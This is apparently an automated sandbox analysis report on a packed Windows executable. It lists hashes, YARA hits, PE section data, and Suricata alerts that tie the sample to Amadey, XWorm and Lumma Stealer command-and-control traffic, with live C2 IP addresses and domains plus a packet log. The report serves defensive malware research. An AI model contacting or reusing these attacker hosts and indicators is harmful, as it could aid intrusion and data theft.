SHA-512:	4BC5EDE755E75B130EAB73D13752A832DD2C4E3FAB7B8460F03593C959B9A89702B8D670DE23823D52F4FF21ECC98CF76E4C4F2D6511B60D4182B3CE035A4BAC
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DFC05B8470E789E83F.TMP, Author: Joe Security
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC668883F19D1839B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.4245965121588529
Encrypted:	false
SSDEEP:	48:Bpkuivh8FXzNT5aUM19YBSqcq56AduXSiyUKgdKHGhv1r42jsfrE9WrGAduXSIDf:zkizToNUnp+fLdKHORrywJP
MD5:	E28EC683C2B676F675BAFB3F80E2702A
SHA1:	3B5D05B6D005BB052370F935C2D7ACC5CA83C816
SHA-256:	DE5629C869872C6A88DD342DF13F9F51BBB185EBD4EAC0BEDADC566C90100B21
SHA-512:	7C4D644877D026664A1950C19639BC865AA77C90D3BE90FE73DC554980DBDC01B9643DACB32DF8CC2B79FAA5E62452B5810A4C371819B68FC1E7E06C9661B142
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DFC668883F19D1839B.TMP, Author: Joe Security
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949972403992249
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'915'392 bytes
MD5:	2fc42f0719a7156cb2c4ea3c999de03c
SHA1:	3c200f0927ad1096d0fea57d490c29bf2e54314b
SHA256:	e0dd54e04f86e6a32d6e442e8267d7b67d838c9976dff81bf8e2ec4f04d6bfaa
SHA512:	d22d28729426e7bcfc426a4c86c5a1bf78a9f2ad1f5ad7fcb85bf55e1172d4a66907def69eec40f6dd223737f9fb6f8eeacafc2343c97c69d341bdb62dfee2b5
SSDEEP:	49152:2MVLBaTAaVpMXzMdWZH86QzzrEfsUmoBlsf98MDz2e:2MV1naVp6wdKH8zzAsfoBPEz
TLSH:	29953348AD7E92BEEAC8107B05C5879C7FEB50B8D4FD24BF1B8198289E0060539D76D6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8be000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB12CDE59BAh
prefetchT2 byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x6b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bc740	0x10	upegxhma
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bc6f0	0x18	upegxhma
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	73e185eb096eccd8ac95b53ccf17fb54	False	0.9983715088555858	data	7.980288946248783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x6b4	0x400	190802661d2870389d11eb95b623e696	False	0.673828125	data	5.611946717428165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b0000	0x200	b59ae5bd12b65b65478e3a63332e4430	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
upegxhma	0x31b000	0x1a2000	0x1a1e00	f994039eb6f5d810cd486972dc4cbf67	False	0.9940927170580317	data	7.954173139367496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kkssyghm	0x4bd000	0x1000	0x400	e7be073cea4ffe21d003f5f78a3cdc82	False	0.7373046875	data	5.874476394459783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4be000	0x3000	0x2200	a8fe8f5ef9fe370edbe2a3440896a3b4	False	0.0685891544117647	DOS executable (COM)	0.869889057563226	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4bc750	0x4c2	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.40311986863711
RT_MANIFEST	0x4bcc12	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T21:02:05.423488+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-12-16T21:02:11.169370+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49763	185.196.8.237	443	TCP
2024-12-16T21:02:13.870395+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49758	TCP
2024-12-16T21:02:15.218294+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49771	185.215.113.43	80	TCP
2024-12-16T21:02:17.326707+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49774	104.21.12.184	443	TCP
2024-12-16T21:02:28.241280+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:02:28.807520+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:28.900838+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:02:29.989228+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49807	185.215.113.43	80	TCP
2024-12-16T21:02:31.471744+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49812	31.41.244.11	80	TCP
2024-12-16T21:02:35.934300+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:35.934300+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:39.158495+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:39.167311+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:02:42.465110+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49838	185.215.113.43	80	TCP
2024-12-16T21:02:43.922434+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49842	31.41.244.11	80	TCP
2024-12-16T21:02:49.679359+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:49.684708+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:02:51.010995+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49858	185.215.113.43	80	TCP
2024-12-16T21:02:52.483705+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49864	31.41.244.11	80	TCP
2024-12-16T21:02:57.744302+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.4	60913	1.1.1.1	53	UDP
2024-12-16T21:02:57.744302+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.4	60913	1.1.1.1	53	UDP
2024-12-16T21:02:57.747579+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49876	185.215.113.43	80	TCP
2024-12-16T21:02:58.044178+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.4	49441	1.1.1.1	53	UDP
2024-12-16T21:02:58.044178+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.4	49441	1.1.1.1	53	UDP
2024-12-16T21:02:58.279949+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.4	65380	1.1.1.1	53	UDP
2024-12-16T21:02:58.279949+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.4	65380	1.1.1.1	53	UDP
2024-12-16T21:02:58.510102+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.4	54236	1.1.1.1	53	UDP
2024-12-16T21:02:58.510102+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.4	54236	1.1.1.1	53	UDP
2024-12-16T21:02:58.740166+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.4	55085	1.1.1.1	53	UDP
2024-12-16T21:02:58.740166+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.4	55085	1.1.1.1	53	UDP
2024-12-16T21:02:58.956030+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.4	51470	1.1.1.1	53	UDP
2024-12-16T21:02:58.956030+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.4	51470	1.1.1.1	53	UDP
2024-12-16T21:02:59.191598+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.4	61099	1.1.1.1	53	UDP
2024-12-16T21:02:59.191598+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.4	61099	1.1.1.1	53	UDP
2024-12-16T21:02:59.203178+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49882	31.41.244.11	80	TCP
2024-12-16T21:02:59.420962+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.4	60769	1.1.1.1	53	UDP
2024-12-16T21:02:59.420962+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.4	60769	1.1.1.1	53	UDP
2024-12-16T21:03:00.192576+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:00.194410+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:03:01.186981+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49888	104.121.10.34	443	TCP
2024-12-16T21:03:01.971429+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49888	104.121.10.34	443	TCP
2024-12-16T21:03:05.923203+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:05.923203+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:12.076087+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:12.115755+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49780	147.185.221.24	33081	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 21:02:03.889869928 CET	49748	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:04.010266066 CET	80	49748	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:04.010519981 CET	49748	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:04.010648012 CET	49748	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:04.130810022 CET	80	49748	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:05.423264980 CET	80	49748	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:05.423487902 CET	49748	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:06.937778950 CET	49748	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:06.937932014 CET	49758	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:07.058578014 CET	80	49748	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:07.058624029 CET	80	49758	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:07.058690071 CET	49758	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:07.058794975 CET	49748	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:07.058842897 CET	49758	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:07.179548025 CET	80	49758	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:08.473647118 CET	80	49758	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:08.473690033 CET	80	49758	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:08.473850965 CET	49758	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:08.473850965 CET	49758	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:09.140541077 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:09.140625954 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:09.140716076 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:09.154354095 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:09.154421091 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:10.615032911 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:10.615211964 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:10.711796045 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:10.711874962 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:10.712804079 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:10.712981939 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:10.716691017 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:10.759377003 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.169383049 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.169625044 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.379959106 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.379995108 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.380168915 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.380172014 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.380172968 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.380249977 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.380290985 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.380323887 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.380323887 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.380354881 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.431869984 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.431915998 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.432071924 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.432071924 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.432136059 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.432202101 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.565568924 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.565772057 CET	443	49763	185.196.8.237	192.168.2.4
Dec 16, 2024 21:02:11.565799952 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.566121101 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.566121101 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:11.566121101 CET	49763	443	192.168.2.4	185.196.8.237
Dec 16, 2024 21:02:13.749394894 CET	49758	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:13.749784946 CET	49771	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:13.869867086 CET	80	49771	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:13.869972944 CET	49771	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:13.870279074 CET	49771	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:13.870394945 CET	80	49758	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:13.870479107 CET	49758	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:13.990889072 CET	80	49771	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:15.218044996 CET	80	49771	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:15.218293905 CET	49771	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:15.651880980 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:15.651952982 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:15.652034998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:15.652316093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:15.652350903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:16.884129047 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:16.884274006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:16.928565025 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:16.928605080 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:16.929507017 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:16.929572105 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:16.968338966 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.011362076 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.326795101 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.326920986 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.326941967 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.326988935 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.327022076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.327049017 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.327060938 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.327122927 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.327135086 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.327178001 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.327188969 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.327234983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.327260971 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.327311039 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.335304976 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.335380077 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.335406065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.335457087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.346084118 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.346158981 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.346170902 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.346220970 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.453838110 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.453902006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.453944921 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.453999996 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.505927086 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:17.518465042 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.518541098 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.522274017 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.522349119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.522368908 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.522424936 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.530085087 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.530144930 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.530165911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.530237913 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.537463903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.537522078 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.537559986 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.537622929 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.545584917 CET	443	49774	104.21.12.184	192.168.2.4
